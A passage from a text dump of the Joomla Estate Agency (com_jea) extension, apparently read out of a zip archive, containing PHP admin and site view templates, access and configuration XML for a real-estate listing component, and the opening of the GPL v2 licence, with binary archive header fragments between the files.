<?php if (empty($this->items)) : ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="featureList">
<thead>
<tr>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'f.ordering', $listDirection, $listOrder, null, 'asc',
'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
</th>
<th width="1%">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<th width="88%">
<?php echo JHTML::_('searchtools.sort',
'COM_JEA_FIELD_'.$this->state->get('feature.name').'_LABEL',
'f.value', $listDirection , $listOrder ) ?>
</th>
<?php if ($this->state->get('language_enabled')):
?>
<th width="5%" class="nowrap">
<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_LANGUAGE', 'l.title', $listDirection,
$listOrder); ?>
</th>
<?php endif ?>
<th width="5%" class="nowrap">
<?php echo JHTML::_('searchtools.sort',
'JGRID_HEADING_ID', 'f.id', $listDirection , $listOrder
) ?>
</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="<?php echo
$this->state->get('language_enabled') ? 5: 4
?>"></td>
</tr>
</tfoot>
<tbody>
<?php foreach ($this->items as $i => $item) : ?>
<?php
$canEdit = $this->user->authorise('core.edit');
$canChange = $this->user->authorise('core.edit.state');
?>
<tr class="row<?php echo $i % 2 ?>">
<td class="order nowrap center hidden-phone">
<?php
$iconClass = '';
if (!$canChange)
{
$iconClass = ' inactive';
}
elseif (!$saveOrder)
{
$iconClass = ' inactive tip-top hasTooltip"
title="' . JHtml::_('tooltipText',
'JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass
?>">
<span class="icon-menu"
aria-hidden="true"></span>
</span>
<?php if ($canChange && $saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5" value="<?php echo
$item->ordering ?>" class="width-20 text-area-order"
/>
<?php endif ?>
</td>
<td class="center">
<?php echo JHtml::_('grid.id', $i, $item->id) ?>
</td>
<td>
<?php if ($canEdit) : ?>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=feature.edit&id='.(int)
$item->id . '&feature='.
$this->state->get('feature.name')); ?>">
<?php echo $this->escape($item->value) ?>
</a>
<?php else : ?>
<?php echo $this->escape($item->value) ?>
<?php endif ?>
</td>
<?php if ($this->state->get('language_enabled')):
?>
<td>
<?php if ($item->language == '*'): ?>
<?php echo JText::alt('JALL', 'language')
?>
<?php else: ?>
<?php echo $item->language_title ?
$this->escape($item->language_title) :
JText::_('JUNDEFINED') ?>
<?php endif ?>
</td>
<?php endif ?>
<td class="center"><?php echo $item->id
?></td>
</tr>
<?php endforeach ?>
</tbody>
</table>
<?php echo $this->pagination->getListFooter() ?>
<?php endif ?>
</div>
<div>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="boxchecked"
value="0" />
<input type="hidden" name="feature"
value="<?php echo
$this->state->get('feature.name')?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
PKdx�[��} } views/featurelist/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\String\StringHelper;
/**
* View to manage a feature list.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewFeaturelist extends JViewLegacy
{
/**
* The user object
*
* @var JUser
*/
protected $user;
/**
* Array of database records
*
* @var Jobject[]
*/
protected $items;
/**
* The pagination object
*
* @var JPagination
*/
protected $pagination;
/**
* The model state
*
* @var Jobject
*/
protected $state;
/**
* The sidebar output
*
* @var string
*/
protected $sidebar = '';
/**
* The form object for search filters
*
* @var JForm
*/
public $filterForm;
/**
* The active search filters
*
* @var array
*/
public $activeFilters;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JeaHelper::addSubmenu('features');
$this->user = JFactory::getUser();
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->sidebar = JHtmlSidebar::render();
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
$this->addToolbar();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*/
protected function addToolbar()
{
$canDo = JeaHelper::getActions();
$feature = $this->state->get('feature.name');
JToolBarHelper::title(JText::_(StringHelper::strtoupper("com_jea_list_of_{$feature}_title")),
'jea');
if ($canDo->get('core.create'))
{
JToolBarHelper::addNew('feature.add');
}
if ($canDo->get('core.edit'))
{
JToolBarHelper::editList('feature.edit');
}
if ($canDo->get('core.delete'))
{
JToolBarHelper::divider();
JToolBarHelper::deleteList(JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE'),
'featurelist.delete');
}
}
}
PKdx�[���9}}views/tools/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
/**
* @var $this JeaViewTools
*/
?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar ?>
</div>
<div id="j-main-container" class="span10">
<div class="cpanel"><?php echo
$this->getIcons()?></div>
</div>
PKdx�[:Ph�BBviews/tools/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* JEA tools view.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewTools extends JViewLegacy
{
/**
* The sidebar output
*
* @var string
*/
protected $sidebar = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JeaHelper::addSubmenu('tools');
JToolBarHelper::title(JText::_('COM_JEA_TOOLS'),
'jea');
$canDo = JeaHelper::getActions();
if ($canDo->get('core.admin'))
{
JToolBarHelper::preferences('com_jea');
}
$this->sidebar = JHtmlSidebar::render();
parent::display($tpl);
}
/**
* Return tools icons.
*
* @return array An array of icons
*/
protected function getIcons()
{
$buttons = JeaHelper::getToolsIcons();
foreach ($buttons as $button)
{
if (! empty($button['name']))
{
$styleSheet = 'media/com_jea/' . $button['name'] .
'/styles.css';
if (file_exists(JPATH_ROOT . '/' . $styleSheet))
{
JHtml::stylesheet($styleSheet);
}
}
}
return JHtml::_('icons.buttons', $buttons);
}
}
PKdx�[}!-8''views/property/tmpl/edit.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewProperty
*/
$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin( 'jea' );
JHtml::_('behavior.framework');
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::script('media/com_jea/js/property.form.js');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', 'select');
?>
<div id="ajaxupdating">
<h3><?php echo
JText::_('COM_JEA_FEATURES_UPDATED_WARNING')?></h3>
</div>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&layout=edit&id='.(int)
$this->item->id) ?>" method="post"
id="adminForm"
class="form-validate"
enctype="multipart/form-data">
<div class="form-inline form-inline-header">
<?php echo $this->form->renderField('title') ?>
<?php echo $this->form->renderField('ref') ?>
<?php echo $this->form->renderField('alias') ?>
</div>
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'propertyTab', array('active' =>
'general')) ?>
<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'general',
JText::_('COM_JEA_CONFIG_GENERAL')) ?>
<div class="row-fluid">
<div class="span8">
<fieldset class="adminform">
<?php echo
$this->form->renderField('transaction_type') ?>
<?php echo $this->form->renderField('type_id')
?>
<?php echo $this->form->renderField('description')
?>
</fieldset>
</div>
<div class="span4">
<fieldset class="form-vertical">
<?php echo $this->form->renderField('published')
?>
<?php echo $this->form->renderField('featured')
?>
<?php echo $this->form->renderField('access') ?>
<?php echo $this->form->renderField('language')
?>
<?php echo $this->form->renderField('slogan_id')
?>
</fieldset>
<?php echo JHtml::_('sliders.start',
'property-sliders', array('useCookie'=>1)) ?>
<?php $dispatcher->trigger('onAfterStartPanels',
array(&$this->item)) ?>
<?php echo JHtml::_('sliders.panel',
JText::_('COM_JEA_PICTURES'), 'picture-pane') ?>
<fieldset>
<?php echo $this->form->getInput('images') ?>
</fieldset>
<?php echo JHtml::_('sliders.panel',
JText::_('COM_JEA_NOTES'), 'note-pane') ?>
<fieldset class="form-vertical panelform">
<?php echo $this->form->renderField('notes') ?>
</fieldset>
<?php $dispatcher->trigger('onBeforeEndPanels',
array(&$this->item)) ?>
<?php echo JHtml::_('sliders.end') ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'details',
JText::_('COM_JEA_DETAILS')) ?>
<div class="row-fluid">
<div class="span4">
<fieldset>
<legend><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS')?></legend>
<?php foreach
($this->form->getFieldset('financial_informations') as
$field) echo $field->renderField() ?>
</fieldset>
<fieldset class="advantages">
<legend><?php echo
JText::_('COM_JEA_AMENITIES')?></legend>
<?php echo $this->form->getInput('amenities')
?>
</fieldset>
</div>
<div class="span4">
<fieldset>
<legend><?php echo
JText::_('COM_JEA_LOCALIZATION')?></legend>
<?php foreach
($this->form->getFieldset('localization') as $field) echo
$field->renderField() ?>
</fieldset>
</div>
<div class="span4">
<fieldset>
<?php foreach ($this->form->getFieldset('details')
as $field) echo $field->renderField() ?>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'publication',
JText::_('COM_JEA_PUBLICATION_INFO')) ?>
<?php foreach
($this->form->getFieldset('publication') as $field) echo
$field->renderField() ?>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php if ($this->canDo->get('core.admin')): ?>
<?php echo JHtml::_('bootstrap.addTab',
'propertyTab', 'permissions',
JText::_('COM_JEA_FIELDSET_RULES')) ?>
<?php echo $this->form->getInput('rules') ?>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php endif ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
</div>
<div>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="return"
value="<?php echo
JFactory::getApplication()->input->getCmd('return')
?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
PKdx�[F+#{99views/property/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
/**
* Property item view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperty extends JViewLegacy
{
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* The database record
*
* @var JObject|boolean
*/
protected $row;
/**
* The page title
*
* @var string
*/
protected $page_title = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$this->state = $this->get('State');
$item = $this->get('Item');
$this->params = $this->state->params;
if (!$item)
{
throw new
RuntimeException(JText::_('COM_JEA_PROPERTY_NOT_FOUND'));
}
$this->row = $item;
// Increment the hit counter of the property
$this->getModel()->hit();
if (empty($item->title))
{
$pageTitle =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($item->type), $this->escape($item->town)));
}
else
{
$pageTitle = $this->escape($item->title);
}
$this->page_title = $pageTitle;
$app = JFactory::getApplication();
$pathway = $app->getPathway();
$pathway->addItem($pageTitle);
$document = JFactory::getDocument();
$document->setTitle($pageTitle);
parent::display($tpl);
}
/**
* Get the previous and next links relative to the property
*
* @param string $previousPrefix Previous prefix
* @param string $nextPrefix Next prefix
*
* @return string
*/
protected function getPrevNextNavigation($previousPrefix =
'<< ', $nextPrefix = ' >>')
{
$res = $this->get('previousAndNext');
$html = '';
$previous = $previousPrefix . JText::_('JPREVIOUS');
$next = JText::_('JNEXT') . $nextPrefix;
if ($res['prev'])
{
$html .= '<a class="previous" href="' .
$this->buildPropertyLink($res['prev']) .
'">' . $previous . '</a>';
}
else
{
$html .= '<span class="previous">' . $previous
. '</span>';
}
if ($res['next'])
{
$html .= '<a class="next" href="' .
$this->buildPropertyLink($res['next']) .
'">' . $next . '</a>';
}
else
{
$html .= '<span class="next">' . $next .
'</span>';
}
return $html;
}
/**
* Build the property link
*
* @param object $item The property row
*
* @return string
*/
protected function buildPropertyLink(&$item)
{
$slug = $item->alias ? ($item->id . ':' .
$item->alias) : $item->id;
return
JRoute::_('index.php?option=com_jea&view=property&id=' .
$slug);
}
/**
* Display captcha
*
* @return string the HTML code to dispay captcha
*/
protected function displayCaptcha()
{
$plugin = JFactory::getConfig()->get('captcha');
if ($plugin == '0')
{
$plugin = 'recaptcha';
}
$captcha = JCaptcha::getInstance($plugin, array('namespace'
=> 'contact'));
if ($captcha instanceof JCaptcha)
{
return $captcha->display('captcha',
'jea-captcha', 'required');
}
return '';
}
}
PKdx�[��szz
access.xmlnu�[���<?xml version="1.0"
encoding="utf-8"?>
<access component="com_jea">
<section name="component">
<action name="core.admin" title="JACTION_ADMIN"
description="JACTION_ADMIN_COMPONENT_DESC" />
<action name="core.manage" title="JACTION_MANAGE"
description="JACTION_MANAGE_COMPONENT_DESC" />
<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
<action name="core.delete" title="JACTION_DELETE"
description="JACTION_DELETE_COMPONENT_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="JACTION_EDIT_COMPONENT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="JACTION_EDITSTATE_COMPONENT_DESC" />
<action name="core.edit.own"
title="JACTION_EDITOWN"
description="JACTION_EDITOWN_COMPONENT_DESC" />
</section>
<section name="property">
<action name="core.delete" title="JACTION_DELETE"
description="COM_JEA_ACCESS_DELETE_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="COM_JEA_ACCESS_EDIT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_JEA_ACCESS_EDITSTATE_DESC" />
</section>
</access>PKdx�[�����%�%
config.xmlnu�[���<?xml version="1.0"
encoding="utf-8"?>
<config>
<fieldset name="general"
label="COM_JEA_CONFIG_GENERAL">
<field
name="surface_measure"
type="list"
default=""
label="COM_JEA_FIELD_SURFACE_UNIT_LABEL"
description="COM_JEA_FIELD_SURFACE_UNIT_DESC"
>
<option value="m²">m²</option>
<option value="Sq. Ft.">Sq. Ft.</option>
</field>
<field
name="currency_symbol"
type="text"
size="5"
default="€"
label="COM_JEA_FIELD_CURRENCY_SYMBOL_LABEL"
description=""
/>
<field
name="symbol_position"
type="list"
default="1"
label="COM_JEA_FIELD_SYMBOL_POSITION_LABEL"
description="COM_JEA_FIELD_SYMBOL_POSITION_DESC"
>
<option
value="0">COM_JEA_OPTION_BEFORE_PRICE</option>
<option
value="1">COM_JEA_OPTION_AFTER_PRICE</option>
</field>
<field
name="thousands_separator"
type="text"
size="1"
default=" "
label="COM_JEA_FIELD_THOUSANDS_SEPARATOR_LABEL"
description="COM_JEA_FIELD_THOUSANDS_SEPARATOR_DESC"
/>
<field
name="decimals_separator"
type="text"
size="1"
default=","
label="COM_JEA_FIELD_DECIMALS_SEPARATOR_LABEL"
description="COM_JEA_FIELD_DECIMALS_SEPARATOR_DESC"
/>
<field
name="decimals_number"
type="text"
size="1"
default="0"
label="COM_JEA_FIELD_DECIMALS_NUMBER_LABEL"
description="COM_JEA_FIELD_DECIMALS_NUMBER_DESC"
/>
<field
name="relationship_dpts_towns_area"
type="radio"
default="1"
label="COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_LABEL"
description="COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
</fieldset>
<fieldset name="lists"
label="COM_JEA_CONFIG_LIST">
<field
name="orderby"
type="list"
default="date_insert"
label="COM_JEA_FIELD_PRIMARY_ORDER_LABEL"
description="COM_JEA_FIELD_PRIMARY_ORDER_DESC"
>
<option
value="created">JGLOBAL_FIELD_CREATED_LABEL</option>
<option
value="price">COM_JEA_FIELD_PRICE_LABEL</option>
<option
value="living_space">COM_JEA_FIELD_LIVING_SPACE_LABEL</option>
<option
value="land_space">COM_JEA_FIELD_LAND_SPACE_LABEL</option>
<option value="hits">JGLOBAL_HITS</option>
<option
value="ordering">JFIELD_ORDERING_LABEL</option>
</field>
<field
name="orderby_direction"
type="list"
default="desc"
label="COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_LABEL"
description="COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_DESC"
>
<option
value="asc">COM_JEA_OPTION_ORDER_ASCENDING</option>
<option
value="desc">COM_JEA_OPTION_ORDER_DESCENDING</option>
</field>
<field
name="sort_date"
type="radio"
default="1"
label="COM_JEA_FIELD_SORT_BY_DATE_LABEL"
description="COM_JEA_FIELD_SORT_BY_DATE_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_price"
type="radio"
default="1"
label="COM_JEA_FIELD_SORT_BY_PRICE_LABEL"
description="COM_JEA_FIELD_SORT_BY_PRICE_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_livingspace"
type="radio"
default="0"
label="COM_JEA_FIELD_SORT_BY_LIVING_SPACE_LABEL"
description="COM_JEA_FIELD_SORT_BY_LIVING_SPACE_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_landspace"
type="radio"
default="0"
label="COM_JEA_FIELD_SORT_BY_LAND_SPACE_LABEL"
description="COM_JEA_FIELD_SORT_BY_LAND_SPACE_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_hits"
type="radio"
default="1"
label="COM_JEA_FIELD_SORT_BY_POPULARITY_LABEL"
description="COM_JEA_FIELD_SORT_BY_POPULARITY_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_towns"
type="radio"
default="0"
label="COM_JEA_FIELD_SORT_BY_TOWN_LABEL"
description="COM_JEA_FIELD_SORT_BY_TOWN_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_departements"
type="radio"
default="0"
label="COM_JEA_FIELD_SORT_BY_DEPARTMENT_LABEL"
description="COM_JEA_FIELD_SORT_BY_DEPARTMENT_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="sort_areas"
type="radio"
default="0"
label="COM_JEA_FIELD_SORT_BY_AREA_LABEL"
description="COM_JEA_FIELD_SORT_BY_AREA_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="list_limit"
type="text"
size="3"
default="10"
label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
description="JGLOBAL_NUMBER_ITEMS_LIST_DESC"/>
</fieldset>
<fieldset name="property"
label="COM_JEA_CONFIG_PROPERTY">
<field
name="images_layout"
type="list"
default="magnificpopup"
label="COM_JEA_FIELD_IMAGES_LAYOUT_LABEL"
description="COM_JEA_FIELD_IMAGES_LAYOUT_DESC"
>
<option value="gallery">Classical</option>
<option value="squeezebox">SqueezeBox</option>
<option value="magnificpopup">Magnific
popup</option>
</field>
<field
name="gallery_orientation"
type="list"
default="vertical"
label="COM_JEA_FIELD_GALLERY_ORIENTATION_LABEL"
description="COM_JEA_FIELD_GALLERY_ORIENTATION_DESC"
>
<option value="horizontal">Horizontal</option>
<option value="vertical">Vertical</option>
</field>
<field
name="show_print_icon"
type="radio"
default="1"
label="COM_JEA_FIELD_PRINT_ICON_LABEL"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_creation_date"
type="radio"
default="1"
label="COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_googlemap"
type="radio"
default="0"
label="COM_JEA_FIELD_GOOGLE_MAP_LABEL"
description="COM_JEA_FIELD_GOOGLE_MAP_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="googlemap_api_key"
type="text"
default=""
label="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_LABEL"
description="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_DESC"/>
<field
type="note"
description="COM_JEA_FIELD_GOOGLE_MAP_API_KEY_MORE_INFO"/>
<field
name="show_contactform"
type="radio"
default="1"
label="COM_JEA_FIELD_CONTACT_FORM_LABEL"
description="COM_JEA_FIELD_CONTACT_FORM_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="default_mail"
type="text"
default=""
label="COM_JEA_FIELD_DEFAULT_RECIPTIENT_LABEL"
description="COM_JEA_FIELD_DEFAULT_RECIPTIENT_DESC"/>
<field
name="send_form_to_agent"
type="radio"
default="0"
label="COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_LABEL"
description="COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="use_captcha"
type="radio"
default="1"
label="COM_JEA_FIELD_USE_CAPTCHA_LABEL"
description="COM_JEA_FIELD_USE_CAPTCHA_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
</fieldset>
<fieldset name="pictures"
label="COM_JEA_CONFIG_PICTURES">
<field
name="jpg_quality"
type="text"
size="3"
default="90"
label="COM_JEA_FIELD_THUMB_QUALITY_LABEL"
description="COM_JEA_FIELD_THUMB_QUALITY_DESC"
/>
<field
name="thumb_min_width"
type="text"
size="3"
default="120"
label="COM_JEA_FIELD_THUMB_MIN_WIDTH_LABEL"
description="COM_JEA_FIELD_THUMB_MIN_WIDTH_DESC"
/>
<field
name="thumb_min_height"
type="text"
size="3"
default="90"
label="COM_JEA_FIELD_THUMB_MIN_HEIGHT_LABEL"
description="COM_JEA_FIELD_THUMB_MIN_HEIGHT_DESC"
/>
<field
name="thumb_medium_width"
type="text"
size="3"
default="400"
label="COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_LABEL"
description="COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_DESC"
/>
<field
name="thumb_medium_height"
type="text"
size="3"
default="400"
label="COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_LABEL"
description="COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_DESC"
/>
<field
name="crop_thumbnails"
type="radio"
default="0"
label="COM_JEA_FIELD_CROP_THUMBNAILS_LABEL"
description="COM_JEA_FIELD_CROP_THUMBNAILS_DESC"
class="btn-group btn-group-yesno"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="img_upload_number"
type="text"
size="3"
default="3"
label="COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_LABEL"
description="COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_DESC"
/>
</fieldset>
<fieldset name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC">
<field
name="rules"
type="rules"
label="JCONFIG_PERMISSIONS_LABEL"
class="inputbox"
validate="rules"
filter="rules"
component="com_jea"
section="component"
/>
</fieldset>
</config>
PKdx�[Z�uBjea.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLoader::register('JeaUpload', JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/upload.php');
$input = JFactory::getApplication()->input;
if ($input->getCmd('task') == '')
{
// Set 'controllers/default.php' as default controller and
'display' as default method
$input->set('task', 'default.display');
}
$controller = JControllerLegacy::getInstance('jea');
$controller->execute($input->getCmd('task'));
$controller->redirect();
PKdx�[4%a3�E�ELICENCE.txtnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
